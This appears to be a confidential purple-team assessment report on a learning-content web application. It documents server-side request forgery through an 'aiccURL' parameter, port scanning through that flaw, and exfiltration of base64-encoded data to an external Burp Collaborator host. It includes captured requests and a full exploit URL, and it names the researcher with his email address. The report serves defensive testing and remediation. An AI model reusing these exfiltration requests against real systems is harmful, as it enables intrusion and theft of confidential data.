



Purple Team Application Assessment Report

Date: January 17th, 2025

Application: Learning-Content

Version 1.0

Security Researchers:

- Mike Gounantabele: mike.gounantabele@ge.com



Application Assessment – apss

Confidential. Not to be copied, distributed, or reproduced without prior approval.



Table of Contents

Technical Finding Detail 2

High 2

Server-Side Request Forgery..... 2

HIGH 5

SSRF Port Scanning..... 5

High 8

Data Exfiltration 8

Appendix..... 10

 Target Scope..... 10

Technical Finding	Risk Rating & Severity
Server-Side Request Forgery	High
Server-Side Request Forgery Port Scanning	High
Data Exfiltration	High

Technical Finding Detail

The following section lists key findings identified during the assessment, describes their risk, provides a remediation plan, and lists additional information where applicable.

HIGH

Server-Side Request Forgery

Description:



The application '[REDACTED]' presents a URL parameter called '*aicURL*='.

When manipulating the parameter, we can request websites from the public domain, or in this case making local requests.

In the Screenshot below seen in *Figure.1: SSRF*

We direct the [REDACTED] to <http://localhost:80>. From the information we can identify we hit a valid page, but used the wrong HTTP parameter. In this case, the web application sent a POST request, when we needed a GET request.

Impact:

We can request local files present on the '[REDACTED]' server.

Screenshots:



This SSRF allows an attacker better insight into what ports are currently open on the vulnerable web application.

In *Figure-2: SSRF port scan*. We come across port 80 and a valid 200 status code. Every failed port returns 500 server error.



Results Positions

Intruder attack results filter: Showing all items

Request	Payload	Status code
0		200
80	80	200
1	1	500
2	2	500
3	3	500
4	4	500
5	5	500
6	6	500
7	7	500

Request Response

Pretty Raw Hex Render

Detailed Error Information:

Module	StaticFileModule
Notification	ExecuteRequestHandler
Handler	StaticFile
Error Code	0x80070001

More Information:

This error means that the request sent to the Web server contained an HTTP verb that is not allowed by the configuration. [View more information >>](#)

iccURL:: sessionID:: command:: version:

icc_data::



Utilizing the SSRF identified in the web application. We can send private/confidential data to the I[REDACTED] application (trusted source) to a non-trusted website or cheap server hosted on 3rd party vendor.

Impact:

The application is sending a POST request to which ever endpoint we specify in the 'aicURL=' parameter. In the screenshot below. We will exfiltrate the linux '/etc/passwd' file and encode to base64. The result is encoded data which we can decode and save to text file. Example below will utilize Port Swigger BurpSuite, and the plugin: Collabortator. An Out-of-Bound domain for testing SSRF

20	2025-Jan-17 19:35:39.968 UTC	HTTP	4v0pur5gc4o3vuf71jr9m2bxo
21	2025-Jan-17 19:39:08.324 UTC	HTTP	4v0pur5gc4o3vuf71jr9m2bxo

Description	Request to Collaborator	Response from Collaborator						
<table border="1"> <tr> <th>Pretty</th> <th>Raw</th> <th>Hex</th> </tr> <tr> <td> 1 POST /U3VwZXIgc2VjcmV0IE dFIFBJSSEYXRhCg HTTP/1.1 2 Xroxy-Connection: Keep-Alive 3 Content-Type: application/x-www-form-urlencoded 4 Accept: /*/* 5 Accept-Language: en-US 6 User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) 7 Content-Length: 86 8 Host: 4v0pur5gc4o3vuf71jr9m2bxdojf7hv6.oastify.com 9 Connection: Keep-Alive 10 11 command=GetParam&session_id="U2VjcmV0IHBhc3N3b3JkIGZvc iBhcHBsaWNhdGlvbnMK" &version=3.5 </td> <td></td> <td></td> </tr> </table>	Pretty	Raw	Hex	1 POST /U3VwZXIgc2VjcmV0IE dFIFBJSSEYXRhCg HTTP/1.1 2 Xroxy-Connection: Keep-Alive 3 Content-Type: application/x-www-form-urlencoded 4 Accept: /*/* 5 Accept-Language: en-US 6 User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) 7 Content-Length: 86 8 Host: 4v0pur5gc4o3vuf71jr9m2bxdojf7hv6.oastify.com 9 Connection: Keep-Alive 10 11 command=GetParam&session_id="U2VjcmV0IHBhc3N3b3JkIGZvc iBhcHBsaWNhdGlvbnMK" &version=3.5				
Pretty	Raw	Hex						
1 POST /U3VwZXIgc2VjcmV0IE dFIFBJSSEYXRhCg HTTP/1.1 2 Xroxy-Connection: Keep-Alive 3 Content-Type: application/x-www-form-urlencoded 4 Accept: /*/* 5 Accept-Language: en-US 6 User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) 7 Content-Length: 86 8 Host: 4v0pur5gc4o3vuf71jr9m2bxdojf7hv6.oastify.com 9 Connection: Keep-Alive 10 11 command=GetParam&session_id="U2VjcmV0IHBhc3N3b3JkIGZvc iBhcHBsaWNhdGlvbnMK" &version=3.5								


```

→ testing echo "U3VwZXIgc2VjcmV0IE dFIFBJSSEYXRhCg==" | bas
Super secret GE PII Data
→ testing echo "U2VjcmV0IHBhc3N3b3JkIGZvc iBhcHBsaWNhdGlvbnM
Secret password for applications
→ testing
    
```

Fig 3-4: SSRF Exfil

Application Assessment – apss

Confidential. Not to be copied, distributed, or reproduced without prior approval.



Severity Rating:	High
Remediation:	
Avoid crafting HTTP requests directly using unvalidated user inputs	
Affected URLs / Endpoints:	
<ul style="list-style-type: none"> • SSRF Page: http://[REDACTED]/TemplateV2/aicc_talk.asp?command=GetParam&version=3.5&sessionID=%22U2VjcmV0IHh3N3b3JklGZvciBhcHBsaWNhdGlvbnMK%22&aiccURL=http://4v0pur5gc4o3vuf71jr9m2bxdojf7hv6.oastify.com/U3VwZXlgc2VjcmV0IEdFIFBJSSEYXRhCg 	
References:	
<ul style="list-style-type: none"> • CWE: https://cwe.mitre.org/data/definitions/918.html 	

Appendix

Target Scope

URL (if applicable)	Environment
https://[REDACTED]	

Application Assessment – apss

Confidential. Not to be copied, distributed, or reproduced without prior approval.